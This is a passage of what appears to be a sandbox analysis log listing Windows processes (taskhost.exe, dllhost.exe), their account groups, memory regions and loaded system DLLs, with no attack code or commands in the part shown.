os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT TASK\\Microsoft-Windows-RAC-RacTask" [0xe], "NT TASK\\Microsoft-Windows-IME-SQM data sender" [0xe], "NT TASK\\Microsoft-Windows-WindowsUpdate-AUFirmwareInstall" [0xe], "NT TASK\\Microsoft-Windows-TPM-Tpm-Maintenance" [0xe], "NT AUTHORITY\\Logon Session 00000000:0001048a" [0xc0000007], "LOCAL" [0x7] Region: id = 5258 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5259 start_va = 0x7aeffa0000 end_va = 0x7aeffbffff entry_point = 0x0 region_type = private name = "private_0x0000007aeffa0000" filename = "" Region: id = 5260 start_va = 0x7aeffc0000 end_va = 0x7aeffcefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007aeffc0000" filename = "" Region: id = 5261 start_va = 0x7aeffd0000 end_va = 0x7af004ffff entry_point = 0x0 region_type = private name = "private_0x0000007aeffd0000" filename = "" Region: id = 5262 start_va = 0x7af0050000 end_va = 0x7af0053fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af0050000" filename = "" Region: id = 5263 start_va = 0x7ff7f4040000 end_va = 0x7ff7f4062fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f4040000" filename = "" Region: id = 5264 start_va = 0x7ff7f4064000 end_va = 0x7ff7f4064fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f4064000" filename = "" Region: id = 5265 start_va = 0x7ff7f406e000 end_va = 0x7ff7f406ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7f406e000" filename = "" Region: id = 5266 start_va = 0x7ff7f4a20000 end_va = 0x7ff7f4a35fff entry_point = 0x7ff7f4a2309c region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe") Region: id = 5267 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5268 start_va = 0x7af0060000 end_va = 0x7af0060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af0060000" filename = "" Region: id = 5269 start_va = 0x7af0070000 end_va = 0x7af0071fff entry_point = 0x0 region_type = private name = "private_0x0000007af0070000" filename = "" Region: id = 5945 start_va = 0x7af0080000 end_va = 0x7af019ffff entry_point = 0x0 region_type = private name = "private_0x0000007af0080000" filename = "" Region: id = 5946 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5947 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5948 start_va = 0x7aeffa0000 end_va = 0x7aeffaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007aeffa0000" filename = "" Region: id = 5949 start_va = 0x7ff7f3f40000 end_va = 0x7ff7f403ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f3f40000" filename = "" Region: id = 5950 start_va = 0x7af01a0000 end_va = 0x7af021dfff entry_point = 0x7af01a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5951 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5952 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5953 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5954 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5955 start_va = 0x7af0220000 end_va = 0x7af025ffff entry_point = 0x0 region_type = private name = "private_0x0000007af0220000" filename = "" Region: id = 5956 start_va = 0x7aeffb0000 end_va = 0x7aeffb6fff entry_point = 0x0 region_type = private name = "private_0x0000007aeffb0000" filename = "" Region: id = 5957 start_va = 0x7af0260000 end_va = 0x7af03d6fff entry_point = 0x7af02610b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5958 start_va = 0x7af0260000 end_va = 0x7af0319fff entry_point = 0x7af028c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5959 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5960 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5961 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5962 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5963 start_va = 0x7af0080000 end_va = 0x7af0086fff entry_point = 0x0 region_type = private name = "private_0x0000007af0080000" filename = "" Region: id = 5964 start_va = 0x7af00a0000 end_va = 0x7af019ffff entry_point = 0x0 region_type = private name = "private_0x0000007af00a0000" filename = "" Region: id = 5965 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5968 start_va = 0x7af0260000 end_va = 0x7af03e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af0260000" filename = "" Region: id = 5969 start_va = 0x7af03f0000 end_va = 0x7af0570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af03f0000" filename = "" Region: id = 5970 start_va = 0x7af0580000 end_va = 0x7af063ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af0580000" filename = "" Region: id = 5971 start_va = 0x7af0090000 end_va = 0x7af0092fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af0090000" filename = "" Region: id = 5972 start_va = 0x7af0220000 end_va = 0x7af0220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af0220000" filename = "" Region: id = 5973 start_va = 0x7af0230000 end_va = 0x7af0230fff entry_point = 0x7af0230000 region_type = mapped_file name = "taskhost.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhost.exe.mui") Region: id = 5974 start_va = 0x7af0250000 end_va = 0x7af025ffff entry_point = 0x0 region_type = private name = "private_0x0000007af0250000" filename = "" Region: id = 5975 start_va = 0x7af0240000 end_va = 0x7af0240fff entry_point = 0x0 region_type = private name = "private_0x0000007af0240000" filename = "" Region: id = 5976 start_va = 0x7af0640000 end_va = 0x7af0640fff entry_point = 0x0 region_type = private name = "private_0x0000007af0640000" filename = "" Region: id = 7398 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7604 start_va = 0x7af0650000 end_va = 0x7af06cffff entry_point = 0x0 region_type = private name = "private_0x0000007af0650000" filename = "" Region: id = 7605 start_va = 0x7af06d0000 end_va = 0x7af074ffff entry_point = 0x0 region_type = private name = "private_0x0000007af06d0000" filename = "" Region: id = 7606 start_va = 0x7af0750000 end_va = 0x7af0750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af0750000" filename = "" Region: id = 7607 start_va = 0x7ff7f406a000 end_va = 0x7ff7f406bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f406a000" filename = "" Region: id = 7608 start_va = 0x7ff7f406c000 end_va = 0x7ff7f406dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f406c000" filename = "" Region: id = 7609 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7611 start_va = 0x7af0760000 end_va = 0x7af0760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007af0760000" filename = "" Region: id = 7656 start_va = 0x7ffd11d10000 end_va = 0x7ffd11d3cfff entry_point = 0x7ffd11d10000 region_type = mapped_file name = "tpmtasks.dll" filename = "\\Windows\\System32\\TpmTasks.dll" (normalized: "c:\\windows\\system32\\tpmtasks.dll") Region: id = 7723 start_va = 0x7ffd1c840000 end_va = 0x7ffd1c863fff entry_point = 0x7ffd1c8478f0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 7724 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7725 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7726 start_va = 0x7ffd11970000 end_va = 0x7ffd1197afff entry_point = 0x7ffd11970000 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 7727 start_va = 0x7ffd195e0000 end_va = 0x7ffd19646fff entry_point = 0x7ffd195e10b4 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 7728 start_va = 0x7ffd1a130000 end_va = 0x7ffd1a14bfff entry_point = 0x7ffd1a13108c region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 7729 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7730 start_va = 0x7ffd1c800000 end_va = 0x7ffd1c839fff entry_point = 0x7ffd1c825ee0 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 7731 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7733 start_va = 0x7ffd1a3a0000 end_va = 0x7ffd1a3affff entry_point = 0x7ffd1a3a2520 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 7734 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 7738 start_va = 0x7af0770000 end_va = 0x7af07effff entry_point = 0x0 region_type = private name = "private_0x0000007af0770000" filename = "" Region: id = 7739 start_va = 0x7af07f0000 end_va = 0x7af07f0fff entry_point = 0x0 region_type = private name = "private_0x0000007af07f0000" filename = "" Region: id = 7740 start_va = 0x7ff7f4068000 end_va = 0x7ff7f4069fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f4068000" filename = "" Thread: id = 541 os_tid = 0x4c4 Thread: id = 729 os_tid = 0x4a0 Thread: id = 731 os_tid = 0x83c Thread: id = 745 os_tid = 0x874 Process: id = "61" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x67c0c000" os_pid = "0x598" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x228" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5504 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5505 start_va = 0x5b48a30000 end_va = 0x5b48a4ffff entry_point = 0x0 region_type = private name = "private_0x0000005b48a30000" filename = "" Region: id = 5506 start_va = 0x5b48a50000 end_va = 0x5b48a5efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48a50000" filename = "" Region: id = 5507 start_va = 0x5b48a60000 end_va = 0x5b48b5ffff entry_point = 0x0 region_type = private name = "private_0x0000005b48a60000" filename = "" Region: id = 5508 start_va = 0x5b48b60000 end_va = 0x5b48b63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48b60000" filename = "" Region: id = 5509 start_va = 0x7ff60b8f0000 end_va = 0x7ff60b912fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff60b8f0000" filename = "" Region: id = 5510 start_va = 0x7ff60b91d000 end_va = 0x7ff60b91efff entry_point = 0x0 region_type = private name = "private_0x00007ff60b91d000" filename = "" Region: id = 5511 start_va = 0x7ff60b91f000 end_va = 0x7ff60b91ffff entry_point = 0x0 region_type = private name = "private_0x00007ff60b91f000" filename = "" Region: id = 5512 start_va = 0x7ff60bd90000 end_va = 0x7ff60bd96fff entry_point = 0x7ff60bd91184 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 5513 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5514 start_va = 0x5b48b70000 end_va = 0x5b48b71fff entry_point = 0x0 region_type = private name = "private_0x0000005b48b70000" filename = "" Region: id = 5520 start_va = 0x5b48b90000 end_va = 0x5b48c8ffff entry_point = 0x0 region_type = private name = "private_0x0000005b48b90000" filename = "" Region: id = 5521 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5522 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5523 start_va = 0x5b48a30000 end_va = 0x5b48a3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48a30000" filename = "" Region: id = 5524 start_va = 0x7ff60b7f0000 end_va = 0x7ff60b8effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff60b7f0000" filename = "" Region: id = 5525 start_va = 0x5b48c90000 end_va = 0x5b48d0dfff entry_point = 0x5b48c90000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5526 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5527 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5528 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5529 start_va = 0x5b48d10000 end_va = 0x5b48e2ffff entry_point = 0x0 region_type = private name = "private_0x0000005b48d10000" filename = "" Region: id = 5530 start_va = 0x5b48a40000 end_va = 0x5b48a46fff entry_point = 0x0 region_type = private name = "private_0x0000005b48a40000" filename = "" Region: id = 5539 start_va = 0x5b48d10000 end_va = 0x5b48dc9fff entry_point = 0x5b48d3c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5540 start_va = 0x5b48e20000 end_va = 0x5b48e2ffff entry_point = 0x0 region_type = private name = "private_0x0000005b48e20000" filename = "" Region: id = 5541 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5542 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5543 start_va = 0x5b48b80000 end_va = 0x5b48b86fff entry_point = 0x0 region_type = private name = "private_0x0000005b48b80000" filename = "" Region: id = 5544 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5545 start_va = 0x5b48d10000 end_va = 0x5b48d10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48d10000" filename = "" Region: id = 5546 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5547 start_va = 0x5b48d20000 end_va = 0x5b48d20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48d20000" filename = "" Region: id = 5559 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5560 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5561 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5562 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5563 start_va = 0x5b48e30000 end_va = 0x5b49104fff entry_point = 0x5b48e30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5564 start_va = 0x5b49110000 end_va = 0x5b4920ffff entry_point = 0x0 region_type = private name = "private_0x0000005b49110000" filename = "" Region: id = 5565 start_va = 0x5b49210000 end_va = 0x5b4930ffff entry_point = 0x0 region_type = private name = "private_0x0000005b49210000" filename = "" Region: id = 5566 start_va = 0x7ff60b919000 end_va = 0x7ff60b91afff entry_point = 0x0 region_type = private name = "private_0x00007ff60b919000" filename = "" Region: id = 5567 start_va = 0x7ff60b91b000 end_va = 0x7ff60b91cfff entry_point = 0x0 region_type = private name = "private_0x00007ff60b91b000" filename = "" Region: id = 5568 start_va = 0x5b49310000 end_va = 0x5b4940ffff entry_point = 0x0 region_type = private name = "private_0x0000005b49310000" filename = "" Region: id = 5569 start_va = 0x5b49410000 end_va = 0x5b4950ffff entry_point = 0x0 region_type = private name = "private_0x0000005b49410000" filename = "" Region: id = 5570 start_va = 0x7ff60b915000 end_va = 0x7ff60b916fff entry_point = 0x0 region_type = private name = "private_0x00007ff60b915000" filename = "" Region: id = 5571 start_va = 0x7ff60b917000 end_va = 0x7ff60b918fff entry_point = 0x0 region_type = private name = "private_0x00007ff60b917000" filename = "" Region: id = 5572 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5573 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5574 start_va = 0x5b48d30000 end_va = 0x5b48d63fff entry_point = 0x5b48d31030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5575 start_va = 0x5b49510000 end_va = 0x5b49697fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b49510000" filename = "" Region: id = 5576 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5577 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5578 start_va = 0x5b496a0000 end_va = 0x5b49820fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b496a0000" filename = "" Region: id = 5579 start_va = 0x5b49830000 end_va = 0x5b4ac2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b49830000" filename = "" Region: id = 5580 start_va = 0x5b48d30000 end_va = 0x5b48d30fff entry_point = 0x0 region_type = private name = "private_0x0000005b48d30000" filename = "" Region: id = 5581 start_va = 0x5b48d40000 end_va = 0x5b48d40fff entry_point = 0x0 region_type = private name = "private_0x0000005b48d40000" filename = "" Region: id = 5582 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5583 start_va = 0x5b4ac30000 end_va = 0x5b4ad5ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4ac30000" filename = "" Region: id = 5585 start_va = 0x5b48d50000 end_va = 0x5b48d50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48d50000" filename = "" Region: id = 5586 start_va = 0x5b4ac30000 end_va = 0x5b4ad1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b4ac30000" filename = "" Region: id = 5587 start_va = 0x5b4ad50000 end_va = 0x5b4ad5ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4ad50000" filename = "" Region: id = 5588 start_va = 0x5b48d50000 end_va = 0x5b48d53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48d50000" filename = "" Region: id = 5589 start_va = 0x5b48d60000 end_va = 0x5b48d66fff entry_point = 0x0 region_type = private name = "private_0x0000005b48d60000" filename = "" Region: id = 5590 start_va = 0x5b4ad60000 end_va = 0x5b4ae5ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4ad60000" filename = "" Region: id = 5591 start_va = 0x7ff60b913000 end_va = 0x7ff60b914fff entry_point = 0x0 region_type = private name = "private_0x00007ff60b913000" filename = "" Region: id = 5592 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 5593 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 5626 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5650 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 5651 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 5652 start_va = 0x5b48d70000 end_va = 0x5b48d70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48d70000" filename = "" Region: id = 5653 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 5654 start_va = 0x7ffd15620000 end_va = 0x7ffd15667fff entry_point = 0x7ffd15620000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll") Region: id = 5655 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5656 start_va = 0x7ffd15360000 end_va = 0x7ffd15610fff entry_point = 0x7ffd15360000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 5657 start_va = 0x5b4ae60000 end_va = 0x5b4af5ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4ae60000" filename = "" Region: id = 5666 start_va = 0x5b48d80000 end_va = 